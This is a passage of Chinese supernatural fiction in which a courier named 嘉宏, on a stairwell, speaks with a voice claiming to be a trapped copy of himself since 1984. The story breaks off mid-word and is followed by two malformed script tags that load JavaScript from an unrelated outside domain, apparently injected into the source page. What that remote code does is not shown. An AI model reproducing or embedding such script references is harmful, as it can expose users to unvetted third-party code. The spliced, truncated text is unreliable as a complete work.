他走下楼梯。一楼。二楼。三楼。四楼。五楼。六楼。
走到一半的时候,他听到身後有一个声音。不是脚步声,不是说话声,而是一种很轻的、像风吹过树叶的声音。他没有回头。他继续往下走。
那声音跟在他身後。不近不远,大概隔了两三级楼梯的距离。他快,它也快。他慢,它也慢。
嘉宏在二楼的转角平台停了下来。
他也没有回头。他只是站着,背对着那个声音,说了一句话:“你是谁?”
沉默了很久。
然後那个声音响起来了。是一个男人的声音,年轻的,沙哑的,像是很久没有喝过水。
“我是你。”
嘉宏的手指微微颤了一下。但他没有回头。
“1984年的我?”他问。
“不是。是另一个复制体。”
嘉宏的呼吸停了一拍。“河眼复制了不只一个我?”
“河眼复制了很多个。每一个被它吞噬的魂魄,它都会复制。有些复制体被送回了人间,有些留在暗河里,有些——”那个声音顿了一下,“有些像我一样,被困在楼梯间里。四十二年。从1984年到现在,我一直在这栋楼的楼梯间里。上上下下。永远走不到尽头。”
嘉宏闭上眼睛。在眼皮的黑暗中,他看到了那个画面——一个和他长得一模一样的男人,穿着和他一样的橘色外送制服,在昭和大厦的楼梯间里不停地走。上楼。下楼。上楼。下楼。永远在同一个楼层之间循环,永远走不到一楼,永远走不到顶楼。他是一个被困在时间裂缝里的复制体,一个被河眼遗忘的副本。
“河眼关闭了,”嘉宏说,“你为什麽还出不去?”
“因为我不是被河眼困住的。我是被我自己困住的。我不敢出去。我不知道出去之後要做什麽。我没有秀秀。我没有林志远。我什麽都没有。我只是一个多余的复制体。一个不应该存在的存在。”
嘉宏沉默了很久。他想转身,想看看那个“自己”的脸。但他知道,如果他转身了,他会看到一张和他一模一样的脸,但那张脸上不会有他现在的表情。那张脸上只会有空洞、绝望、和一种被困了四十二年的、无法言说的疲惫。
“你可以出来。”嘉宏说。
“然後呢?”
“然後去买早餐。”
那个声音沉默了。大概过了五秒,它说:“买早
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">